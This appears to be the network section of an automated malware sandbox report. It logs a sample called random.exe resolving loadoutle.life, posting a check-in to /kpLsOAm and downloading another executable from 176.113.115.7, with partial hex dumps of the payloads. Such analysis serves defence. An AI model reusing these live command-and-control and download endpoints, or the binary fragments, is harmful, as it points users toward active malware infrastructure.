Mar 19, 2025 01:36:46.826374054 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.826404095 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.826631069 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826647043 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826657057 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826663017 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826668978 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826673985 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826680899 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826687098 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826699018 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826702118 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.826705933 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826714039 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826719999 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826726913 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826745033 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.826745033 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.826778889 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826785088 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.826792955 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826803923 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826813936 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826819897 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826826096 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826832056 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826837063 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826842070 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826864958 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826868057 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.826868057 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.826873064 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826885939 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826891899 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826895952 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.826900005 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826908112 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826914072 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826921940 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826927900 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826930046 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.826930046 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.826934099 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826951981 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826963902 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826965094 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.826965094 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.826971054 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826977968 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826984882 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826993942 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.826999903 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.827007055 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.827008009 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.827008009 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.827032089 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.827100992 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.827604055 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.827615976 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.827620983 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.827625990 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.827631950 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.827636957 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.827642918 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.827653885 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.827658892 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.827663898 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.827670097 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.827671051 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.827671051 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.827676058 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.827688932 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.827713966 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.827723026 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.827723026 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:46.827733040 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:46.827785015 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:47.043123960 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:47.044365883 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:47.415405035 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:47.420145035 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:47.420170069 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:47.420187950 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:47.420198917 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:47.420211077 CET	80	49689	176.113.115.7	192.168.2.8
Mar 19, 2025 01:36:47.420243025 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:47.420284986 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:47.433810949 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:47.459988117 CET	49689	80	192.168.2.8	176.113.115.7
Mar 19, 2025 01:36:48.768184900 CET	49689	80	192.168.2.8	176.113.115.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 01:36:33.764075994 CET	60419	53	192.168.2.8	1.1.1.1
Mar 19, 2025 01:36:33.776854992 CET	53	60419	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 19, 2025 01:36:33.764075994 CET	192.168.2.8	1.1.1.1	0x7d4e	Standard query (0)	loadoutle.life	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 19, 2025 01:36:33.776854992 CET	1.1.1.1	192.168.2.8	0x7d4e	No error (0)	loadoutle.life		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 19, 2025 01:36:33.776854992 CET	1.1.1.1	192.168.2.8	0x7d4e	No error (0)	loadoutle.life		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

loadoutle.life

176.113.115.7

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49689	176.113.115.7	80	7012	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
Mar 19, 2025 01:36:43.890218019 CET	78	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive Host: 176.113.115.7
Mar 19, 2025 01:36:44.608587980 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 00:36:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Tue, 18 Mar 2025 23:42:28 GMT ETag: "20c400-630a67529c872" Accept-Ranges: bytes Content-Length: 2147328 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d1 b6 42 53 95 d7 2c 00 95 d7 2c 00 95 d7 2c 00 81 bc 2f 01 98 d7 2c 00 81 bc 29 01 2f d7 2c 00 c7 a2 28 01 87 d7 2c 00 c7 a2 2f 01 83 d7 2c 00 c7 a2 29 01 cc d7 2c 00 a4 8b d1 00 97 d7 2c 00 81 bc 28 01 82 d7 2c 00 81 bc 2d 01 86 d7 2c 00 95 d7 2d 00 67 d7 2c 00 59 a2 25 01 94 d7 2c 00 59 a2 d3 00 94 d7 2c 00 59 a2 2e 01 94 d7 2c 00 52 69 63 68 95 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 23 01 bb 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 f2 04 00 00 c0 01 00 00 00 00 00 00 50 4b 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$BS,,,/,)/,(,/,),,(,-,-g,Y%,Y,Y.,Rich,PEL#gPK@KN!@WkD<4K3K @.rsrcD@.idata @ *@kzjvenhcp1@fnpvcctf@K @.taggant0PK" @
Mar 19, 2025 01:36:44.608616114 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Mar 19, 2025 01:36:44.608632088 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Mar 19, 2025 01:36:44.608647108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Mar 19, 2025 01:36:44.608663082 CET	1236	IN	Data Raw: 5e 86 ee 7e 13 1a 87 c6 b7 01 f9 c7 5f 26 f1 95 95 69 01 2d 73 6f 29 e5 6f 19 6d 0d 36 70 a7 08 5e 86 ee 7e 13 1a 87 ee b7 49 f8 c7 5f 26 7d 9c 95 69 01 0d 73 6f 29 e5 cf 19 6d 0d 36 10 a7 08 5e 86 ee 7e 13 1a 87 3e b6 e9 f8 c7 5f 26 9d 9a 95 69 Data Ascii: ^~_&i-so)om6p^~I_&}iso)m6^~>_&imso)/m60^~_&%iMso)m6^~2_&iso)m6^~=_&iso)Om6^~>}_&iso)m6^~>m_&i
Mar 19, 2025 01:36:44.608685970 CET	1236	IN	Data Raw: 77 6f 29 e5 af 0b 6d 0d 36 b0 a3 08 5e 86 ee 7e 13 1a 87 06 b6 3d fe c7 5f 26 8d 9b 95 69 01 cd 77 6f 29 e5 0f 08 6d 0d 36 50 a3 08 5e 86 ee 7e 13 1a 87 06 b6 25 fe c7 5f 26 85 9d 95 69 01 2d 76 6f 29 e5 6f 08 6d 0d 36 70 ac 08 5e 86 ee 7e 13 1a Data Ascii: wo)m6^~=_&iwo)m6P^~%_&i-vo)om6p^~-_&Iivo)m6^~_&%imvo)/m60^~_&eiMvo)m6^~_&5ivo)m6^~>q_&]ivo)Om6^~
Mar 19, 2025 01:36:44.608700991 CET	1236	IN	Data Raw: b6 ed f3 c7 5f 26 c5 9b 95 69 01 8d 7a 6f 29 e5 4f 7a 6d 0d 36 90 a8 08 5e 86 ee 7e 13 1a 87 02 b6 d9 f3 c7 5f 26 2d 99 95 69 01 ed 7a 6f 29 e5 af 7a 6d 0d 36 b0 a8 08 5e 86 ee 7e 13 1a 87 ca b7 c9 f3 c7 5f 26 4d e1 95 69 01 cd 7a 6f 29 e5 0f 7b Data Ascii: _&izo)Ozm6^~_&-izo)zm6^~_&Mizo){m6P^~q_&yi-yo)o{m6p^~:_&iyo){m6^~_&imyo)/xm60^~>_&iMyo)xm6^~_&iyo)xm
Mar 19, 2025 01:36:44.608717918 CET	1236	IN	Data Raw: 36 d0 95 08 5e 86 ee 7e 13 1a 87 3e b6 39 f7 c7 5f 26 45 97 95 69 01 ad 7d 6f 29 e5 ef 64 6d 0d 36 f0 95 08 5e 86 ee 7e 13 1a 81 3a 22 92 29 65 86 e5 2f 0d 87 2c e5 7e 13 1a 81 9a 23 92 29 65 96 e5 2f 0d 87 2c e5 7e 13 1a 81 7a 23 92 29 65 66 e5 Data Ascii: 6^~>9_&Ei}o)dm6^~:")e/,~#)e/,~z#)ef/,~)_&Ui}o)ojm6@^~Y_&=i}o)jm6`^~])e6/,~E_qYi^)e/-%H~u_q{Yi^)e/-%H~>6^
Mar 19, 2025 01:36:44.608731985 CET	1236	IN	Data Raw: 55 71 d9 f6 59 69 73 65 e0 9d 2f 0d d9 2d 21 80 15 88 ee 7e 13 1a 7c 80 33 f4 2a e2 ac ed 6d 0d ba ce 29 0d 5e 69 79 aa 7b 8e 63 0d 69 12 79 be 94 7d 8d a9 5f 69 29 0d d3 92 21 44 94 65 29 0d 5e 69 79 65 b7 82 2f 0d 12 1a e5 7e 13 1a e5 7e 13 1a Data Ascii: UqYise/-!~\|3m)^iy{ciy}_i)!De)^iye/~~~\|3>bhUl_lqYi~\|3NmyDUM3_:w_l)-7h^Pe5iD^~~~\|3NmyDUM3_:w_l)-7(^Pe7iD^~~
Mar 19, 2025 01:36:44.608748913 CET	1236	IN	Data Raw: 5f 99 01 2d df 6f 29 88 1b 52 13 c7 57 6e 9d 01 b0 5d 73 65 3f fc 2f 0d d9 2d 21 80 15 88 74 4b 5b 69 7c 80 33 80 a6 97 57 58 72 4d 86 d4 10 bf 96 6d 79 44 56 4d 33 c6 5f f3 3a 77 5f da 63 09 8e 71 94 8a 59 69 e2 05 86 41 6c 0d d9 2d 21 80 95 55 Data Ascii: _-o)RWn]se?/-!tK[i\|3WXrMmyDVM3_:w_cqYiAl-!UObO"G)^~~\|3WXrMmyDVM3_:w_cqDYiFW"G)UObOR)A~~~)H~~\|3rUVo)QzF[#^i)DY)
Mar 19, 2025 01:36:44.613503933 CET	1236	IN	Data Raw: 33 56 7e f7 86 ce 4d ea 95 69 5e 46 8f da 6c 19 bb cc 29 0d 5e 69 a6 1b d2 ea 21 d8 1f db 7a 05 d5 6e a4 c5 5b 79 2a 0a d7 e0 81 59 58 d4 63 05 db 29 9c e7 cc 93 25 fd d0 92 19 62 d0 8a 2f 0d d9 2d 2d 86 1f 59 ac 7c 5f 69 29 82 94 65 a6 c4 57 d2 Data Ascii: 3V~Mi^Fl)^i!zn[yYXc)%b/--Y\|_i)eWm!vlYiB--u-^i))T{2PaiDe^i*/vuYiF[qeYi!N>&oVQ^i)~:ZR=yYCse$/--m6Wt^bq;YiFW

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49682	188.114.97.3	443	7012	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 00:36:34 UTC	266	OUT	POST /kpLsOAm HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 51 Host: loadoutle.life
2025-03-19 00:36:34 UTC	51	OUT	Data Raw: 75 69 64 3d 33 35 64 38 65 33 33 39 34 64 65 31 66 66 64 33 36 65 63 61 61 35 31 32 37 38 32 32 35 30 62 34 64 33 65 66 36 33 34 37 34 66 26 63 69 64 3d Data Ascii: uid=35d8e3394de1ffd36ecaa512782250b4d3ef63474f&cid=
2025-03-19 00:36:34 UTC	788	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 00:36:34 GMT Content-Type: application/octet-stream Content-Length: 33664 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KVTHFOEC2QMPO7M9aIhGeWlqYDJbRUB8IDzqT8EPls8J1dGBgnOd41%2FiYUbAAt%2B9t%2FO9QsSpLFgvAngHYHuAn8uIbOC%2Bi2261gh7huFN3eCk2%2BZZW1TWUq6KH6FYuyZ1nQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9228e573388fefa9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8800&min_rtt=8356&rtt_var=3451&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2832&recv_bytes=953&delivery_rate=349449&cwnd=251&unsent_bytes=0&cid=5f3d58bd6a06870b&ts=450&x=0"
2025-03-19 00:36:34 UTC	581	IN	Data Raw: 53 ec 7d b4 15 19 8d 16 30 c1 74 bd 1f f4 d3 b6 a2 d4 91 82 96 25 03 5c 8f 61 42 c1 7a 87 b9 19 b5 29 bf 5e 3f 1d 94 75 7e 8b ea 42 b5 02 a2 59 21 72 88 9c 67 c5 4e a8 12 8c a0 58 03 c5 bf 81 fb 34 8a 87 f4 4c 90 8f 53 b2 eb b1 65 25 dc 9f 66 dc 80 cb 86 06 a6 cd 72 89 3a 6b 5a 1c ec 72 b2 ed b3 5c c6 7d 63 99 96 41 68 50 7f 02 e8 6d b0 42 d9 90 8b 1c cf f4 ed 1e 2b 7a e2 58 a4 ac 1a ff 62 83 12 6c 7d ec a3 bc 48 48 3b cb 94 0e 2c 2b 24 b2 7b db 8f ab fe 71 69 8d 7c c3 ed 24 27 af 26 ab fe d1 0b 7b 54 97 20 21 08 bb 18 94 28 8f 8c ee 36 69 49 fd 06 59 0c 0a f0 85 3b 42 7b 90 4d 37 21 3b 39 41 75 f7 3f 1c e7 b2 f0 79 e8 84 fd 3f bd 26 34 41 77 c1 9e 6f 84 90 f7 bc d2 f4 20 0b 7f 60 4a 91 9c db 4d 72 3b e5 83 a9 62 1e 32 e4 62 8c 9c 3e ca 30 ad 0e 49 11 ee Data Ascii: S}0t%\aBz)^?u~BY!rgNX4LSe%fr:kZr\}cAhPmB+zXbl}HH;,+${qi\|$'&{T !(6iIY;B{M7!;9Au?y?&4Awo `JMr;b2b>0I
2025-03-19 00:36:34 UTC	1369	IN	Data Raw: 9c 83 a6 db c0 eb 0a ad 6c dc ca 16 62 5d a8 c5 86 7e e1 33 0c 7f cb e0 e3 f1 ac 10 44 03 50 b8 24 43 df df f2 8e 9d a1 75 b7 e0 48 80 1b 3e 9d 2a 6f 4e ac 4f 11 1c 5e c0 2a 3d 9e 87 8c 3b f0 1c fc 89 8c 15 0d 37 01 95 c9 c5 da cc 6e d1 69 62 c9 2a d2 74 41 ba 29 30 5e 23 43 23 c5 3f ce 2f 20 3d 9d 7c ec 3e 9d ec 3a 64 bd ab 6b 0b 5d ca 5c 70 69 93 bf 93 9e 2f c7 d1 e5 92 c5 33 0c bc 14 69 85 fc 8e ce 15 0c e8 48 11 03 a9 87 d9 c8 74 6a 3f dd 34 b3 b8 8c b6 6a 9e b7 ec f6 16 81 8f db e8 3a ee af eb 61 2c b1 09 91 84 19 21 51 84 7e 1a 57 d1 e9 54 32 79 5a da f1 31 1a 1a 56 21 4f 88 f4 21 f0 9c 95 79 5a 51 f9 ef 4a c2 85 fd 29 30 bb 46 80 07 b1 1a d7 bf e0 dc c7 7a 59 c8 d5 7e 32 4f ec b2 79 fa a1 34 ad 67 b4 b2 e1 a2 6c a1 e2 ad 52 64 d0 e6 61 ad 20 4a ca Data Ascii: lb]~3DP$CuH>oNO^=;7nib*tA)0^#C#?/ =\|>:dk]\pi/3iHtj?4j:a,!Q~WT2yZ1V!O!yZQJ)0FzY~2Oy4glRda J
2025-03-19 00:36:34 UTC	1369	IN	Data Raw: 9a 89 af 40 6e c1 fd 6c ed 6e ae 7c 19 a5 83 19 bf 09 79 6b 78 db 22 ae 3c 68 c1 16 e8 3c c0 3b 64 87 b0 db 2f 50 b6 87 57 f0 01 c4 80 22 7c 95 4f 0b 21 b7 4a 81 2e 47 c4 79 74 1c e8 66 20 1c 5a 60 af a5 91 a4 90 8c 3a cc 3d d9 2b 74 23 37 21 2b a7 42 10 4d e9 35 e5 0a 7f 58 33 62 66 56 88 60 ba a4 e7 2e 5c aa ab 3a 11 74 e8 17 bf a1 46 58 5a 61 88 53 2e 6c 92 4d b0 56 26 40 17 b1 4d ab a8 b1 76 96 2b 9d a6 0c 2b c1 fd 9e 38 62 f3 2e af 5b d8 44 fd ee 5d db 72 e6 de a8 20 a1 ef b7 78 d9 54 01 75 8f 0c d1 1f d5 f0 79 fc 13 2f 39 25 e6 a7 97 c0 fe 6d b3 46 e5 47 81 e5 02 35 ef 62 5b 59 f8 41 ac 39 b1 7f fe 7b 84 56 1f fe 69 48 ae bf 71 5f d3 48 d1 67 53 3b fa e6 99 4c 88 77 71 cf 5d 4b b1 95 9e 07 f9 19 1f 62 92 91 e4 37 0a 27 e1 2c f2 be 51 0e 71 ab f7 1b Data Ascii: @nln\|ykx"<h<;d/PW"\|O!J.Gytf Z`:=+t#7!+BM5X3bfV`.\:tFXZaS.lMV&@Mv++8b.[D]r xTuy/9%mFG5b[YA9{ViHq_HgS;Lwq]Kb7',Qq
2025-03-19 00:36:34 UTC	1369	IN	Data Raw: 97 22 32 83 0b 51 d0 db db ab e7 7f 2c fc f7 6a 13 e5 83 e9 d3 a3 59 07 dd 51 fb 4b a4 35 0d 39 9d 0d c9 c0 19 34 5e 8c 00 81 2b bd 4a 9c b2 d2 06 be d7 38 ee d8 f2 db 35 26 05 a9 f6 65 1f 4e 6c f4 cc 8c af b2 43 fb 7d 47 80 e4 9f ba 26 b7 1c da 21 6e 45 a5 75 2c 4d 38 0f 64 46 34 bc 82 02 5e ec a5 0e d8 aa 95 6a ed 54 2c a5 4d 8f c8 3c 20 f7 1e a3 23 21 13 1b f2 5a e8 fd bb cd ae ea b5 2c fe 58 af 83 a2 90 07 76 c1 64 7a b8 68 13 2f fe 2c 19 d2 0b f4 95 ba 7e a5 68 9b 06 85 34 bc 56 af 28 7c 80 84 3e 4c 85 90 d0 04 76 2d d4 66 e6 a8 b6 58 0d 88 72 be c6 b7 09 a5 26 68 da a7 f7 1e 5f 00 5d f0 b8 ce 4c a6 91 e3 43 1c 21 f1 7a cb a5 64 c3 8a 85 2c cf 8b e5 02 d7 46 60 d4 82 e7 df e7 c0 00 7f 5c 2f 93 1e a2 5a 0f 77 95 c2 58 4b 08 54 55 3a ce b3 43 07 d8 24 Data Ascii: "2Q,jYQK594^+J85&eNlC}G&!nEu,M8dF4^jT,M< #!Z,Xvdzh/,~h4V(\|>Lv-fXr&h_]LC!zd,F`\/ZwXKTU:C$
2025-03-19 00:36:34 UTC	1369	IN	Data Raw: ce c4 8b 1c 59 1b a5 64 2c 21 cf 61 9f db 4e c0 86 e8 43 48 ec e0 42 db 7b 0a a5 14 06 98 d5 6b 84 57 12 64 95 33 cc 45 c4 b0 fe f0 d1 ca bd 86 ce cd 75 30 26 44 9d 0f 3f 35 9c 7e 45 4c 2f 62 d7 9a d4 cc 1a c4 83 cb 6d 8f 3b e1 94 41 ac 68 10 6a e3 23 23 fa fe 30 49 9f 95 9f c5 fc 5a 50 f0 18 fa 88 c4 43 28 80 83 08 4f 8c 07 61 85 82 cc 9d 21 4a 95 79 94 16 b7 f7 75 b2 17 21 49 ee 04 c7 bc 44 91 af 59 45 5e eb ca 4c 00 9e 59 02 eb 8c a3 eb e7 5e d8 2e 09 ba 4a 0b b4 1b 04 21 4a bb 36 8a 40 2b 46 b0 36 4d 19 99 71 fb 08 46 c7 31 2f ab 6b 6e 37 1f b0 e1 38 03 d9 24 08 4f aa b0 d7 4d db 7a 80 bf aa 66 77 43 84 88 3d 26 8a 35 ca 08 14 ed 0b a8 62 92 92 7e 66 05 ee 9b 3f 90 dc 13 be 6d c5 c9 71 b5 49 fc 85 dd 79 2b a1 18 18 ca d7 43 84 aa c3 97 42 12 a9 20 a5 Data Ascii: Yd,!aNCHB{kWd3Eu0&D?5~EL/bm;Ahj##0IZPC(Oa!Jyu!IDYE^LY^.J!J6@+F6MqF1/kn78$OMzfwC=&5b~f?mqIy+CB
2025-03-19 00:36:34 UTC	1369	IN	Data Raw: 7a 93 47 24 2f 64 6d 20 dd f1 d0 68 76 a3 97 a1 d9 26 71 f6 82 53 e2 d5 4d bd 8a 17 ea 0d d0 3d bf 31 14 1d 4d 64 35 0d 65 02 bc 6b d9 9a 74 47 a7 8f fe 7f bd 52 ca 4a 3f fa 9d 61 fa df 63 5a 46 49 71 8d 75 a6 f1 29 62 1f f4 e0 f0 70 b9 42 65 4e 8d 84 bb bc cb 2f 82 29 53 bd f0 d2 c9 65 ba 42 85 c3 83 20 9d 8f 16 09 a7 2b 35 5e c4 e1 62 80 bf 3f f3 42 73 de ca df 11 38 2a 34 44 94 96 0c f0 51 ae 18 19 71 8f 2b 05 79 51 98 cc 7a 1a 5d ef 22 40 34 6c ef f7 0b 53 a5 02 82 82 05 01 d8 90 f9 6c 9d 18 f3 13 53 5d 36 e5 90 b5 34 25 9f 4e 04 c2 94 e3 68 11 3c db d5 33 ce 6e 3f 66 64 c5 0a 67 ef a4 3e 40 05 9b 74 51 f6 bc a3 1a 04 da 60 99 27 ca 2a 66 c0 1b b8 60 7a 83 24 f7 4e bf e9 e1 72 73 05 71 70 fe 2a 62 98 c9 02 f5 a7 9a b6 4e 01 f7 59 b6 c1 bd 54 68 ff ae Data Ascii: zG$/dm hv&qSM=1Md5ektGRJ?acZFIqu)bpBeN/)SeB +5^b?Bs84DQq+yQz]"@4lSlS]64%Nh<3n?fdg>@tQ`'f`z$Nrsqp*bNYTh
2025-03-19 00:36:34 UTC	1369	IN	Data Raw: 61 cf 65 30 84 73 74 3c aa f5 2c 84 3f 22 92 48 ed 7b 07 a8 b5 d7 e9 9b 7b 09 0c 79 08 8f 4d b3 fd 25 43 48 c5 6f 2f f1 6d 50 59 63 dc 2e 4c 87 a4 df e8 76 8f 7b 64 87 54 db c5 ce 0d c8 ef 19 fa 80 46 82 27 ca e3 24 17 a0 ed 64 19 f6 e2 95 98 bd b1 77 fd 43 14 c1 24 b5 20 68 b1 7c 8f 42 73 c0 4b 0a 6f 27 59 64 23 67 c3 46 c3 3a 39 99 5c b0 d1 f9 df 90 1b 14 50 c3 e0 a1 82 91 d2 22 18 ce a5 1c b2 a5 4c 5f 7a d4 a7 f5 c4 fe 86 b0 67 a3 84 8c f5 67 9b 97 de 30 6f 67 49 be 74 80 45 cb ea b3 e3 4e 15 80 7a 3d 5a e7 70 21 2d a1 fa b0 26 a6 85 c4 28 20 4b 62 4b f3 59 39 87 3f 29 1b 87 79 7a c9 41 8f 07 42 30 20 4a fa 6a 71 b2 a8 23 a4 70 57 49 48 ec d3 19 0f 0c bf 65 c3 06 a7 f6 1d f5 e7 6c c4 24 46 57 c4 f0 93 14 89 ea 38 9f 17 b6 1c cd 5a 02 e7 b8 9c a2 f1 e6 